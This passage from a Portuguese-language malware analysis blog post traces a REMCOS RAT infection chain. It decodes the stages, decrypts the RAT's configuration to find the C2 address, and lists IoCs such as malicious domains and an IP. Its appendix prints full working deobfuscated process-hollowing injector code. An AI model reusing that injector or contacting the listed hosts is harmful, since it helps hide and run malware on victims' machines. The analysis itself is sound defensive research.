ProjectData.SetProjectError(ex);<br>        ProjectData.ClearProjectError();<br>      }<br>    }<br>  }<br>}</pre><p>Decodificando as strings em base64 e deixando somente as linhas de interesse, temos o seguinte resultado:</p><pre>public static void Run(string LAbWJK) {<br>  string s = MyProject.Computer.FileSystem.ReadAllText(&quot;C:\Windows\Temp\rump.txt&quot;).Replace(&quot;#@$&quot;, &quot;A&quot;));<br>  string str1 = Encoding.UTF8.GetString(&quot;C:\Windows\Microsoft.NET\Framework\v4.0.30319&quot;);<br>  string str2 = Encoding.UTF8.GetString(&quot;\RegAsm.exe&quot;);<br>  AppDomain.CurrentDomain<br>    .Load(Convert.FromBase64String(s))<br>    .GetType(&quot;tiago.Class1&quot;)<br>    .GetMethod(&quot;Run&quot;)<br>    .Invoke((object) null, new object[2]<br>  {<br>      (object) &quot;C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe&quot;,<br>      (object) Convert.FromBase64String(LAbWJK)<br>  });<br>}</pre><p>Como pôde ser visto, o arquivo <strong>rump.txt</strong> obtido previamente é carregado em uma string, então as ocorrências da string <em>“#@$”</em> são substituídas por <em>“A”, </em>e então a string resultante é decodificada como base64, a sua sequência de bytes resultantes é usada como um .NET Assembly. Levando em conta que o parâmetro <strong>LAbWJK </strong>possui o conteúdo do <strong>user.txt,</strong> também com as ocorrências de <em>“#@$“</em> substituídas por <em>“A”,</em> e que nesse segundo estágio, essa string também esta sendo decodificada como base64, ambos arquivos são decodificados da mesma maneira.</p><p>Para verificar o resultado obtido após o loader que implementa o segundo estágio, nós implementamos um pequeno script para decodificar os arquivos da mesma forma:</p><pre>from sys import argv<br>    import base64</pre><pre>    with open(argv[1], &quot;r&quot;) as entrada:<br>        with open(argv[2], &quot;wb&quot;) as saida:<br>            content = entrada.read()<br>            content = content.replace(&quot;#@$&quot;, &quot;A&quot;)<br>            dec = base64.b64decode(content)<br>            saida.write(dec)</pre><p>Decodificando ambos os arquivos e verificando o tipo:</p><pre>$ python3.8 decode.py rump.txt rump.decoded<br>$ python3.8 decode.py user.txt user.decoded<br>$ file rump.decoded user.decoded<br>rump.decoded: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows<br>user.decoded: PE32 executable (GUI) Intel 80386, for MS Windows</pre><p>Utilizamos então o ClamAV para fazer uma verificação rápida nesses dois arquivos:</p><pre>$ clamscan /tmp/samples/<br>Loading:     9s, ETA:   0s [========================&gt;]    8.62M/8.62M sigs       <br>Compiling:   3s, ETA:   0s [========================&gt;]       41/41 tasks </pre><pre>/tmp/samples/user.decoded: Win.Trojan.Remcos-9841897-0 FOUND<br>/tmp/samples/rump.decoded: OK</pre><p>Portanto, o arquivo <strong>user.txt </strong>contém o executável e trata-se de um agente já conhecido como o <em>RAT REMCOS</em>. Já o .NET Assembly contido no <strong>rump.txt</strong>, apesar de não ter dado match com nenhuma assinatura conhecida do ClamAV, é o possível responsável por realizar a execução do RAT, tendo em vista que ele recebe como parâmetro o caminho do executável <strong>RegAsm.exe</strong> legítimo do Windows, e como segundo parâmetro um vetor de bytes contendo o RAT.</p><h3>Determinando IP do C2</h3><p>Sabendo que o agente que realiza a conexão para permitir o controle, é o executável contido no <strong>user.txt, </strong>o qual decodificamos para <strong>user.decoded</strong>, iremos executá-lo com o debugger <strong>x64dbg</strong> e monitorar as tentativas de conexão. Como o REMCOS realiza conexão TCP diretamente, localizamos a chamada da função <strong>connect()</strong> e usamos o plugin Xanalyzer apenas para facilitar a visualização dos parâmetros.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*G_6Qvj-ngGCI5bgANU0SYA.png" /></figure><p>Os dados de <strong>ip:porta</strong> passados para a função <strong>connect</strong> são definido na <a href="https://docs.microsoft.com/en-us/windows/win32/winsock/sockaddr-2">struct sockaddr</a>. Reproduzindo parte da documentação, podemos notar que teremos primeiro 2 bytes representando a porta e então 4 bytes representando o IP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*4fR1JrKAE4O4TCe2Zakbaw.png" /></figure><p>Para determinar os dados de <strong>ip:porta</strong>, seguimos o valor [eax+18] no dump de memória do <strong>x64dbg</strong>,<strong> </strong>e ignoramos os dois primeiros bytes que são o campo <strong>sin_family</strong>. Na imagem a seguir estão destacados os bytes que representam a porta e o IP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*YwmUzY_cmhz_h9FgMViV5g.png" /></figure><p>Ou seja, temos que a porta é <em>13BA</em> (<strong>5050</strong> em notação decimal) e o IP <em>C8099B97 </em>(<strong>200.9.155.151</strong> em notação decimal com pontos).</p><h3>Extraindo configuração do REMCOS</h3><p>A partir da <a href="https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing">análise</a> do REMCOS disponibilizada pela empresa Fortinet, temos a descrição de que a configuração do RAT fica em uma seção do PE (Portable Executable), nomeada como <strong>SETTINGS</strong>, onde o primeiro byte indica o tamanho da chave RC4 utilizada para encriptar a configuração, logo em seguida a própria chave em si e, por final, a configuração. Utilizando o <em>reshacker</em>, extraímos essa seção do PE e então usamos o seguinte script para decifrar a configuração:</p><pre>from sys import argv<br>from Crypto.Cipher import ARC4<br>from past.builtins import xrange</pre><pre>with open(argv[1], &#39;rb&#39;) as settings_file:<br>    content = settings_file.read();<br>    key_sz = content[0];<br>    print(&quot;tamanho da chave : %s&quot; % key_sz);<br>    key = content[1:key_sz+1]<br>    cipher = ARC4.new(key)<br>    msg = cipher.encrypt(content[key_sz+1:])<br>    print(msg)</pre><p>A partir da execução confirmamos novamente o endereço do C2 e alguns outros campos da versão 3.5.1 Pro do REMCOS contidas no <em>sample</em>.</p><pre># python3.9 test.py SETTINGS<br>tamanho da chave : 143<br>b&#39;200.9.155.151:5050:1\x1e|\x1e\x1e\x1f|RemoteHost|\x1e\x1e\x1f|1|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x01|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|1|\x1e\x1e\x1f|7CTG8V4IY|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|6|\x1e\x1e\x1f|r\x00e\x00m\x00c\x00o\x00s\x00.\x00e\x00x\x00e\x00\x00\x00|\x1e\x1e\x1f|R\x00e\x00m\x00c\x00o\x00s\x00\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|0|\x1e\x1e\x1f|Remcos-TYBFF5|\x1e\x1e\x1f|1|\x1e\x1e\x1f|6|\x1e\x1e\x1f|l\x00o\x00g\x00s\x00.\x00d\x00a\x00t\x00\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|10|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00\x00|\x1e\x1e\x1f|5|\x1e\x1e\x1f|6|\x1e\x1e\x1f|Screenshots|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|5|\x1e\x1e\x1f|6|\x1e\x1e\x1f|MicRecords|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|0|\x1e\x1e\x1f|0|\x1e\x1e\x1f|\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x01|\x1e\x1e\x1f|0|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|1|\x1e\x1e\x1f|R\x00e\x00m\x00c\x00o\x00s\x00\x00\x00|\x1e\x1e\x1f|r\x00e\x00m\x00c\x00o\x00s\x00\x00\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|C80C18C689D58C349C7EBEF6B6343E06|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|100000|\x1e\x1e\x1f|\x00|\x1e\x1e\x1f|0\x81\xff0\x81\xa6\xa0\x03\x02\x01\x02\x02\x10`;F\x86\xb2S\x88Y&gt;\x82Nj\xddl\xb4\xcd0\n\x06\x08*\x86H\xce=\x04\x03\x020\x000&quot;\x18\x0f19700101000000Z\x18\x0f20901231000000Z0\x000Y0\x13\x06\x07*\x86H\xce=\x02\x01\x06\x08*\x86H\xce=\x03\x01\x07\x03B\x00\x04\xcd\xa6\xd2q\x08\xa724\xaeI\n`kX\xfb\xeb\x8e\x93\xab\x17\x80\xd5;\x9e\xaeC\xc7\x1a\xd9&quot;&quot;\xc5CC\xd3&gt;\x9b2\xce\x08QZ\xd8\xc5\xd9\xd4\xf0|\xd6F\xef\xf2\x92i\xe6\x10\xfd\xd3E\x00f\x0c\x0e\x180\n\x06\x08*\x86H\xce=\x04\x03\x02\x03H\x000E\x02 eq\xf3iOXHW\xc6\xac\xc0b\x1c\x8dN\x8f\x88\xa0\&#39;\x9c\x89\xca\xa1\xe1q\xe5\xb2#i\xc4\x07\xd4\x02!\x00\xfd\x0c G\x08\xfd\xeb\xfc\x9eZ}\xab\xdah\x9e=D\xff\xa2t\xa8\xb9\x95\xa6(\xe0_\xd8\xea\xf6o\x89|\x1e\x1e\x1f|0w\x02\x01\x01\x04 \xdc\x08T80\x1c\xd1\x18\x96\x8c\xabDv\n\x96a\x8a\x9c\x8c\x947\x0bb\x83\x1e/.%\xe13O\xca\xa0\n\x06\x08*\x86H\xce=\x03\x01\x07\xa1D\x03B\x00\x04\xcd\xa6\xd2q\x08\xa724\xaeI\n`kX\xfb\xeb\x8e\x93\xab\x17\x80\xd5;\x9e\xaeC\xc7\x1a\xd9&quot;&quot;\xc5CC\xd3&gt;\x9b2\xce\x08QZ\xd8\xc5\xd9\xd4\xf0|\xd6F\xef\xf2\x92i\xe6\x10\xfd\xd3E\x00f\x0c\x0e\x18|\x1e\x1e\x1f|0\x82\x01\x000\x81\xa6\xa0\x03\x02\x01\x02\x02\x10(\xa8D`(H&amp;\x82%\xd1]\xaen\xbcXz0\n\x06\x08*\x86H\xce=\x04\x03\x020\x000&quot;\x18\x0f19700101000000Z\x18\x0f20901231000000Z0\x000Y0\x13\x06\x07*\x86H\xce=\x02\x01\x06\x08*\x86H\xce=\x03\x01\x07\x03B\x00\x04\xd5\xac\r\x99!\x9c\xab\xa7\xeb\xc5S\x89\x89Q\x0b\xe0\xcb.\x8f\xfc\xa6\xc4*\x14\xcb\xfa\x8a\xcdQU\x88\xa4\xb7\x17\xd2b\x9c\xb8\x05`\x13\xf5F\xff\xdc\xdd1\x1fE\x05\x95\xb5\x0b\t\x14\xe3h\xaa\x84\x90\xe1\xca\x90\xd90\n\x06\x08*\x86H\xce=\x04\x03\x02\x03I\x000F\x02!\x00\x95\x0e\xd4`\xc1\x13\x13v\xe0ar\x15\xf7\xed\xb6y\x1cBor\x14Qg\x1fe\x96\xef\xc2\xca&amp;p/\x02!\x00\xbcd\\0\xe8\xd0;\xa9\xec\x15\x15\x9c\xec6\xc7\x8e\x0bU\xa3A\xc5\xee\xca\x8f\x1b\xb8\x90KR\x97\xde\xf3|\x1e\x1e\x1f|&#39;</pre><h3>Estágio 3 (rump.txt)</h3><p>Como pudemos observar na análise do segundo estágio (<strong>dll3.txt</strong>), sabemos que o <strong>rump.txt</strong>, também é .NET Assembly, e que ele esta sendo carregado pelo segundo estágio e executado com os seguintes parâmetros:</p><pre>String : “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe”<br>Byte[] : &lt;Remcos&gt;</pre><p>Estes parâmetros coincidem exatamente com os que foram encontrados na <a href="https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing">análise</a> disponibilizada pela Fortinet. Apesar dos estágios iniciais não coincidirem, este último, tem forte indício ser um reuso de código. Na análise citada, o último estágio era a implementação da técnica <strong>proccess hollowing</strong>. Para confirmar, tentamos decompilar o último estágio fazendo uso do <a href="https://www.jetbrains.com/decompiler/">dotPeek</a> novamente, contudo, o código gerado ainda continha uma quantidade razoável de strings/métodos ofuscados e algumas das funções sendo chamadas no inicio do código não estavam definidas no resultado da decompilação.</p><p>Apesar da ofuscação, temos as seguintes definições no código decompilado, que indicam mais ainda a semelhança com o caso citado previamente:</p><ul><li>CreateProcess</li><li>GetThreadContext</li><li>Wow64GetThreadContext</li><li>SetThreadContext</li><li>Wow64SetThreadContext</li><li>ReadProcessMemory</li><li>WriteProcessMemory</li><li>NtUnmapViewOfsection</li><li>VirtualAllocEx</li><li>ResumeThread</li></ul><p>Identificamos que são exatamente as funções da WinAPI mais utilizadas na implementação da técnica de <strong>process hollowing</strong>. Como tivemos alguns problemas no resultado da decompilação, nós optamos por partir para uma análise dinâmica. Porém, fizemos uma adequação para tornar o processo mais conveniente, como será exibido na próxima seção.</p><h3>Monitorando o estágio 3</h3><p>Em posse da informação obtida previamente, para facilitar a execução de testes e debug somente do último estágio, implementamos um pequeno <strong>Loader </strong>com código semelhante ao do segundo estágio, mas sem a etapa de decodificar os arquivos pois já temos o .NET Assembly decodificado e pronto para ser carregado. Optamos também por incluir 3 parâmetros no <strong>Loader</strong>:</p><ol><li>String: Caminho do rump.txt já decodificado</li><li>String: Caminho do PE (Portable Executable) que vai ser usado durante a injeção do código</li><li>String: Caminho do PE (Portable Executable) que será injetado no PE escolhido no parâmetro 2</li></ol><p>O código do <strong>Loader </strong>é o seguinte:</p><pre>namespace Loader {<br>    internal class Program {<br>        static void Main(string[] args) {<br>            Byte[] rump_injector = FileSystem.ReadAllBytes(args[0]);<br>            String hostPE_path = args[1];<br>            Byte[] injectedPE = FileSystem.ReadAllBytes(args[2]);<br>            AppDomain.CurrentDomain<br>                .Load(rump_injector)<br>                .GetType(&quot;tiago.Class1&quot;)<br>                .GetMethod(&quot;Run&quot;)<br>                .Invoke((object)null, new object[2] {<br>                    (object) hostPE_path,<br>                    (object) injectedPE<br>                });<br>            Thread.Sleep(1000 * 60);<br>        }<br>    }<br>}</pre><p>Desta forma, podemos executar o último estágio com parâmetros de nossa escolha, e utilizar os breakpoints nas funções da WinAPI para confirmar a injeção de código. Aqui nós consideramos o <strong>rump.decoded</strong> e o <strong>user.decoded</strong> como os arquivos <strong>rump.txt</strong> e <strong>user.txt</strong> decodificados anteriormente.</p><p>Para sermos breves, não iremos reproduzir aqui todas as etapas do <strong>process hollowing</strong>, o qual realmente foi confirmado nessa etapa. Executamos o código com os parâmetros equivalentes ao que acontece na cadeia de execução do malware, porém substituindo o executável alvo — que era o <strong>RegAsm.exe</strong> — pelo <strong>whoami.exe</strong>, e o programa a ser injetado será o <strong>cmd.exe</strong>, a título de exemplo.</p><pre>.\Loader.exe .\rump.decoded C:\windows\system32\whoami.exe C:\windows\system32\cmd.exe</pre><p>Para monitorar as chamadas da API e os respectivos parâmetros, utilizamos a ferramenta <a href="http://jacquelin.potier.free.fr/winapioverride32/">WinAPIOverride</a> , selecionando as funções que foram listadas previamente e que são usadas na implementação usual de <strong>process hollowing</strong>.</p><p>Aqui será reproduzido somente o parâmetro expandido na chamada <strong>CreateProcessW()</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*8R1InQMdUd4mWoOR5YAYjA.png" /></figure><p>Assim, podemos ver que o <strong>whoami.exe</strong> foi executado, e também que o HANDLE para o processo é <strong>0x400C</strong> e o HANDLE da thread é <strong>0x4010</strong>. Agora será reproduzida a sequencia de chamadas a API que foram capturadas:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*6MItu9ceo1wk09V4oujMmw.png" /></figure><p>O processo alvo em todas essas chamadas foi o próprio <strong>whoami.exe</strong> criado a partir da primeira chamada, e por fim podemos observar diretamente que o processo criado executou o <strong>cmd.exe</strong> no espaço do processo previamente criado.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*vfy5iojzMrdMlrIBiIl9lA.png" /></figure><p>Portanto, podemos concluir que o último estágio de fato é uma implementação de <strong>process hollowing</strong> genérico, que recebe como parâmetro o caminho de um executável que sofrerá a injeção do código malicioso que será executado. A única diferença entre o nosso teste e a cadeia de execução do <em>sample</em>, é que esta última termina realizando a injeção do <em>REMCOS </em>no <strong>RegAsm.exe</strong>.</p><p><strong>Observação</strong>: não foi incluída uma análise do executável que é usado na persistência, pois ao tentar obter o mesmo, a URL de download não estava mais funcional. Contudo, provavelmente trata-se de apenas um PE (Portable Executable) para realizar inicialização do <em>REMCOS </em>da mesma maneira que foi descrita.</p><h3>Desofuscando</h3><p>Como foi citado previamente, fazendo uso do <a href="https://www.jetbrains.com/decompiler/">dotPeek</a> diretamente, notamos a presença de algumas referências que não estavam definidas em nenhuma outra parte do código decompilado. Para verificar se o código estava fazendo uso de algum <em>obfuscador </em>conhecido, carregamos o Assembly no <a href="https://github.com/horsicq/Detect-It-Easy">DIE</a>, onde tivemos a seguinte saída:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*ZFsPvraR2mpSo31vLMBl-Q.png" /></figure><p>De acordo com a saída do <a href="https://github.com/horsicq/Detect-It-Easy">DIE</a>, foi utilizado um protector, o qual acreditamos que seja de fato o produto <a href="https://www.eziriz.com/dotnet_reactor.htm">.NET Reactor</a> da empresa Eziris. Realizando uma pequena pesquisa com os temos “NET Reactor Unpacker”, encontramos a ferramenta <a href="https://github.com/SychicBoy/NETReactorSlayer">.NETReactorSlayer</a>, a qual trata-se de um <em>desofuscador</em> para o packer usado nesse último estágio, portanto, decidimos tentar desofuscar o Assembly com essa ferramenta.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*AzXt9ei9o3tYZmFJuiXaMw.png" /></figure><p>O <a href="https://github.com/SychicBoy/NETReactorSlayer">.NETReactorSlayer</a> produziu como saída o assembly <strong>rump_Slayed.dll</strong>, o qual carregamos novamente no <a href="https://www.jetbrains.com/decompiler/">dotPeek</a>, a fim de verificar se iríamos obter um código com todas as definições presentes. A combinação das duas ferramentas gerou um resultado no qual restou apenas a ofuscação dos símbolos representando nomes de objeto, <em>structs </em>e variáveis. Nessa parte final, substituímos os símbolos por nomes significativos, e então obtivemos o código do último estágio da forma mais clara possível, disponibilizamos o código no apêndice deste artigo.</p><p>O quarto estágio, se fosse considerado aqui, seria a execução do REMCOS(user.txt), no qual foi analisado no tópico anterior. Portanto, consideramos aqui que a cadeia de execução do malware foi completamente explorada.</p><h3>Conclusão</h3><p>Como pôde ser visto, o <em>sample </em>inicia a sua cadeia de execução por meio de uma pequena sequência de scripts, que termina por fazer uso de um .NET Assembly que implementa a técnica de <strong>process hollowing</strong> para carregar o agente do REMCOS. Este último, exatamente como no post disponibilizado pela Fortinet, nos leva a pensar que, apesar do estágio inicial ser diferente, eles acabam empregando a mesma técnica, a mesma linguagem e ainda o mesmo executável como alvo da injeção, além do mesmo RAT, fatos estes que indicam que esse último estágio pode estar sendo compartilhado entre atores maliciosos.</p><h3>IoCs</h3><h3>Arquivos</h3><p><strong>Nome do arquivo: </strong>m.vbs</p><p><strong>SHA256:</strong>313e0caa53234d30e910b12fc1f32b7a666603f9149bd0ee15f18e4896422139</p><p><strong>Nome do arquivo: </strong>1.wsf</p><p><strong>SHA256:</strong>915ecefcffa6a73c0efd8f6d19b08d0177fcea48583a403bf77382c8ed46b1ed</p><p><strong>Nome do arquivo: </strong>dll3.txt</p><p><strong>SHA256:</strong>27e193bdf5da860868c5b38e708ca13a8951df7aa8efa1007faa825ed349d56b</p><p><strong>Nome do arquivo: </strong>rump.txt</p><p><strong>SHA256:</strong>4056989bd2cc53ad00fa3c9669578d4b157217cfc4139038d4129d4673d39954</p><p><strong>Nome do arquivo: </strong>user.txt</p><p><strong>SHA256:</strong>4a06cc564084ee209c70887822f8f2ca653ccc2376322cc22858c8ca294bb5fb</p><h3>URLs</h3><p><strong>Domínio: </strong>contadoreshbc.com</p><p><strong>URL Completa: </strong>https://contadoreshbc.com/exe</p><p><strong>Domínio: </strong>equiperat.online</p><p><strong>URL Completa: </strong>ftp.equiperat.online</p><h3>Conexões</h3><p><strong>IP: </strong>200.9.155.151</p><p><strong>Porta: </strong>5050</p><h3>Apêndice A — Código desofuscado (rump.txt)</h3><pre>// Decompiled with JetBrains decompiler<br>// Type: tiago.Class1<br>// Assembly: tiago, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null<br>// MVID: 97C72324-1BF3-424F-822A-59B46E92F6FD<br>// Assembly location: C:\Users\user\Desktop\rump_Slayed.dll</pre><pre>using Microsoft.VisualBasic.CompilerServices;<br>using System;<br>using System.Diagnostics;<br>using System.Runtime.InteropServices;<br>using System.Security;</pre><pre>namespace tiago<br>{<br>  public class Class1<br>  {<br>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;CreateProcess&quot;, CharSet = CharSet.Unicode)]<br>    private static extern bool CreateProcess(<br>      string _param0,<br>      string _param1,<br>      IntPtr _param2,<br>      IntPtr _param3,<br>      bool _param4,<br>      uint _param5,<br>      IntPtr _param6,<br>      string _param7,<br>      ref Class1.STARTUPINFOA _param8,<br>      ref Class1.PROCESS_INFORMATION _param9);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;GetThreadContext&quot;)]<br>    private static extern bool GetThreadContext(IntPtr _param0, int[] _param1);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;Wow64GetThreadContext&quot;)]<br>    private static extern bool Wow64GetThreadContext(IntPtr _param0, int[] _param1);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;SetThreadContext&quot;)]<br>    private static extern bool SetThreadContext(IntPtr _param0, int[] _param1);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;Wow64SetThreadContext&quot;)]<br>    private static extern bool Wow64SetThreadContext(IntPtr _param0, int[] _param1);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;ReadProcessMemory&quot;)]<br>    private static extern bool ReadProcessMemory(<br>      IntPtr _param0,<br>      int _param1,<br>      ref int _param2,<br>      int _param3,<br>      ref int _param4);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;WriteProcessMemory&quot;)]<br>    private static extern bool WriteProcessMemory(<br>      IntPtr _param0,<br>      int _param1,<br>      byte[] _param2,<br>      int _param3,<br>      ref int _param4);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;ntdll.dll&quot;, EntryPoint = &quot;NtUnmapViewOfSection&quot;)]<br>    private static extern int NtUnmapViewOfSection(IntPtr _param0, int _param1);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;VirtualAllocEx&quot;)]<br>    private static extern int VirtualAllocEx(<br>      IntPtr _param0,<br>      int _param1,<br>      int _param2,<br>      int _param3,<br>      int _param4);</pre><pre>    [SuppressUnmanagedCodeSecurity]<br>    [DllImport(&quot;kernel32.dll&quot;, EntryPoint = &quot;ResumeThread&quot;)]<br>    private static extern int ResumeThread(IntPtr _param0);</pre><pre>    public static bool Run(<br>      string PE_path,<br>      byte[] payload)<br>    {<br>      int num = 1;<br>      bool flag;<br>      while (!Class1.processHollowing(PE_path, string.Empty, payload, true))<br>      {<br>        checked { ++num; }<br>        if (num &gt; 5)<br>        {<br>          flag = false;<br>          goto label_5;<br>        }<br>      }<br>      flag = true;<br>label_5:<br>      return flag;<br>    }</pre><pre>    private static bool processHollowing(string targetPath, string _param1, byte[] _param2, bool _param3)<br>    {<br>      string str = string.Format(&quot;\&quot;{0}\&quot;&quot;, (object) targetPath);<br>      Class1.STARTUPINFOA startupInfo = new Class1.STARTUPINFOA();<br>      Class1.PROCESS_INFORMATION procInfo = new Class1.PROCESS_INFORMATION();<br>      startupInfo.dwFlags = 0;<br>      startupInfo.cb = checked ((uint) Marshal.SizeOf(typeof (Class1.STARTUPINFOA)));<br>      bool flag1;<br>      try<br>      {<br>        if (!string.IsNullOrEmpty(_param1))<br>          str = str + nameof (\u0020) + _param1;<br>        if (!Class1.CreateProcess(targetPath, str, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, ref startupInfo, ref procInfo))<br>          throw new Exception();<br>        int int32_1 = BitConverter.ToInt32(_param2, 60);<br>        int int32_2 = BitConverter.ToInt32(_param2, checked (int32_1 + 52));<br>        int[] numArray = new int[179];<br>        numArray[0] = 65538;<br>        if (IntPtr.Size == 4)<br>        {<br>          if (!Class1.GetThreadContext(procInfo.hThread, numArray))<br>            throw new Exception();<br>        }<br>        else if (!Class1.Wow64GetThreadContext(procInfo.hThread, numArray))<br>          throw new Exception();<br>        int num1 = numArray[41];<br>        int num2;<br>        int num3;<br>        if (!Class1.ReadProcessMemory(procInfo.hProcess, checked (num1 + 8), ref num2, 4, ref num3))<br>          throw new Exception();<br>        if (int32_2 == num2 &amp;&amp; Class1.NtUnmapViewOfSection(procInfo.hProcess, num2) != 0)<br>          throw new Exception();<br>        int int32_3 = BitConverter.ToInt32(_param2, checked (int32_1 + 80));<br>        int int32_4 = BitConverter.ToInt32(_param2, checked (int32_1 + 84));<br>        int num4 = Class1.VirtualAllocEx(procInfo.hProcess, int32_2, int32_3, 12288, 64);<br>        bool flag2;<br>        if (!_param3 &amp;&amp; num4 == 0)<br>        {<br>          flag2 = true;<br>          num4 = Class1.VirtualAllocEx(procInfo.hProcess, 0, int32_3, 12288, 64);<br>        }<br>        if (num4 == 0)<br>          throw new Exception();<br>        if (!Class1.WriteProcessMemory(procInfo.hProcess, num4, _param2, int32_4, ref num3))<br>          throw new Exception();<br>        int num5 = checked (int32_1 + 248);<br>        int num6 = checked ((int) BitConverter.ToInt16(_param2, int32_1 + 6) - 1);<br>        int num7 = 0;<br>        while (num7 &lt;= num6)<br>        {<br>          int int32_5 = BitConverter.ToInt32(_param2, checked (num5 + 12));<br>          int int32_6 = BitConverter.ToInt32(_param2, checked (num5 + 16));<br>          int int32_7 = BitConverter.ToInt32(_param2, checked (num5 + 20));<br>          if (int32_6 != 0)<br>          {<br>            byte[] dst = new byte[checked (int32_6 - 1 + 1)];<br>            Buffer.BlockCopy((Array) _param2, int32_7, (Array) dst, 0, dst.Length);<br>            if (!Class1.WriteProcessMemory(procInfo.hProcess, checked (num4 + int32_5), dst, dst.Length, ref num3))<br>              throw new Exception();<br>          }<br>          checked { num5 += 40; }<br>          checked { ++num7; }<br>        }<br>        byte[] bytes = BitConverter.GetBytes(num4);<br>        if (!Class1.WriteProcessMemory(procInfo.hProcess, checked (num1 + 8), bytes, 4, ref num3))<br>          throw new Exception();<br>        int int32_8 = BitConverter.ToInt32(_param2, checked (int32_1 + 40));<br>        if (flag2)<br>          num4 = int32_2;<br>        numArray[44] = checked (num4 + int32_8);<br>        if (IntPtr.Size == 4)<br>        {<br>          if (!Class1.SetThreadContext(procInfo.hThread, numArray))<br>            throw new Exception();<br>        }<br>        else if (!Class1.Wow64SetThreadContext(procInfo.hThread, numArray))<br>          throw new Exception();<br>        if (Class1.ResumeThread(procInfo.hThread) == -1)<br>          throw new Exception();<br>      }<br>      catch (Exception ex)<br>      {<br>        ProjectData.SetProjectError(ex);<br>        Process.GetProcessById(checked ((int) procInfo.dwProcessId))?.Kill();<br>        flag1 = false;<br>        ProjectData.ClearProjectError();<br>        goto label_41;<br>      }<br>      flag1 = true;<br>label_41:<br>      return flag1;<br>    }</pre><pre>    [StructLayout(LayoutKind.Sequential, Pack = 1)]<br>    private struct PROCESS_INFORMATION<br>    {<br>      public IntPtr hProcess;<br>      public IntPtr hThread;<br>      public uint dwProcessId;<br>      public uint dwThreadId;<br>    }</pre><pre>    [StructLayout(LayoutKind.Sequential, Pack = 1)]<br>    private struct STARTUPINFOA<br>    {<br>      public uint cb;<br>      public string lpReserved;<br>      public string lpDesktop;<br>      public string lpTitle;<br>      public int dwX;<br>      public int dwY;<br>      public int dwXSize;<br>      public int dwYSize;<br>      public int dwXCountChars;<br>      public int dwYCountChars;<br>      public int dwFillAttribute;<br>      public int dwFlags;<br>      public short wShowWindow;<br>      public short cbReserved2;<br>      public IntPtr lpReserved2;<br>      public IntPtr hStdInput;<br>      public IntPtr hStdOutput;<br>      public IntPtr hStdError;<br>    }<br>  }<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d0f93e35a6b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/an%C3%A1lise-de-campanha-de-engenharia-social-utilizando-rat-2d0f93e35a6b">Análise de campanha de Engenharia Social utilizando RAT</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stacked]]></title>
            <link>https://medium.com/stolabs/stacked-caf86c3020d9?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/caf86c3020d9</guid>
            <dc:creator><![CDATA[Vinicius Scallop]]></dc:creator>
            <pubDate>Fri, 29 Jul 2022 14:44:45 GMT</pubDate>
            <atom:updated>2022-07-29T14:44:45.368Z</atom:updated>
